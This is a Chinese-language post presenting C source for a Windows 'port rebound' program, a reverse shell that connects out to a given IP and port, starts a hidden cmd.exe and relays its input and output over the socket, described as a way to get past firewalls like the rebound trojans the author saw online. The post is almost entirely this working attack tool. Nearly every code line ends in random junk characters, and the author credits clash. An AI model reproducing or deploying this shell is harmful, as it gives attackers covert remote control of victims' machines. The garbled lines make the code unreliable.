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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s>>lf&7  
9~iDL|0'~  
/* ============================== : 9zEne4  
Rebound port in Windows NT {w99~?  
By wind,2006/7 1'k,P;s  
===============================*/ O7,:-5h0  
#include j{/wG::  
#include [t5 Dd  
@Hp=xC9V  
#pragma comment(lib,"wsock32.lib") j2n 4; m  
B|;?#okx  
void OutputShell(); n0^3F1Z  
SOCKET sClient; A2fuNV_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *vzj(HGO  
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void main(int argc,char **argv) h#|Ac>fz  
{ K*j1Fy:  
WSADATA stWsaData; ve(@=MJ  
int nRet; ).$kp2IN  
SOCKADDR_IN stSaiClient,stSaiServer; lstnxi%x  
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if(argc != 3) l W Lj==  
{ elP#s5l4  
printf("Useage:\n\rRebound DestIP DestPort\n"); M:K4o%  
return; 1 |3vwgRhs  
} \&Oc}]  
@#5?tk0  
WSAStartup(MAKEWORD(2,2),&stWsaData); &+pp;1ls  
v%Su#xq/  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); byj7c(  
o7:"Sl2AD  
stSaiClient.sin_family = AF_INET; L0xh?B  
stSaiClient.sin_port = htons(0); 88atj+N]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3:!5 ]  
=,W~^<\"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I;?np  
{ (_~Dyvo  
printf("Bind Socket Failed!\n"); HwZ@T &_4  
return; 95  X6V  
} )/?s^D$,  
Oj.xJ(uX+v  
stSaiServer.sin_family = AF_INET; s#)tiCSVW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "NO*(<C.R  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '\B!1B>T  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K db:Q0B  
{ ]4-t*Em  
printf("Connect Error!"); KHt#mQy)9  
return; ? `#  
} [ST7CrwC  
OutputShell(); ( ESmP  
} i.>d#S  
UL\gcZ Zkl  
void OutputShell() a/p /<  
{ fhQ}Z%$  
char szBuff[1024]; ^Jn=a9Q6Z  
SECURITY_ATTRIBUTES stSecurityAttributes; ~-2q3U Py  
OSVERSIONINFO stOsversionInfo; WEugm603  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WzO[-csy  
STARTUPINFO stStartupInfo; FKu^{'Y6E0  
char *szShell; zRF +D+  
PROCESS_INFORMATION stProcessInformation; ao)8ie  
unsigned long lBytesRead; _,]@xFCOH  
D,;6$Pvg^  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nM&UdKf3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^Dw18gqr=@  
stSecurityAttributes.lpSecurityDescriptor = 0; -&_;x&k /  
stSecurityAttributes.bInheritHandle = TRUE; ;CdxKr- d  
/s~&$(d59o  
#_[W*-|L  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); LDv>hzo  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^6I8a"  
%W]" JwRu  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P0^7hSo  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #`{L_n$c  
stStartupInfo.wShowWindow = SW_HIDE; 5!^DKyw:  
stStartupInfo.hStdInput = hReadPipe; .< /.(7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; QF`o%mI  
(J/!9NS:  
GetVersionEx(&stOsversionInfo); Wc- 8j2M  
jneos~ 'n8  
switch(stOsversionInfo.dwPlatformId) YO^iEI.  
{ @jevY81)  
case 1: ?e+$?8l[3  
szShell = "command.com"; Sk&l8"  
break; I &I q  
default: meNz0ve  
szShell = "cmd.exe"; 4Z<  
break; GLIP;)h1  
} J?N9*ap)  
v&*}O  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q.Ljz Z  
gR:21*&cz  
send(sClient,szMsg,77,0); *<nfA}  
while(1) [ O"8Tzr  
{ =3?"s(9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4\%XC F!  
if(lBytesRead) Pb-Ft =  
{ mjz<,s`D  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CuD^@  
send(sClient,szBuff,lBytesRead,0); Co#_Cyxg=9  
} F"M$ "rC]  
else -P3;7_}]:h  
{ Rr>h8Ni <  
lBytesRead=recv(sClient,szBuff,1024,0); hu+% X.F4  
if(lBytesRead<=0) break; _C97G&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~NtAr1  
} Yi+~}YP.E(  
} SMdkD]{g  
f:-dw6a=s  
return; \7Fkeo+  
}
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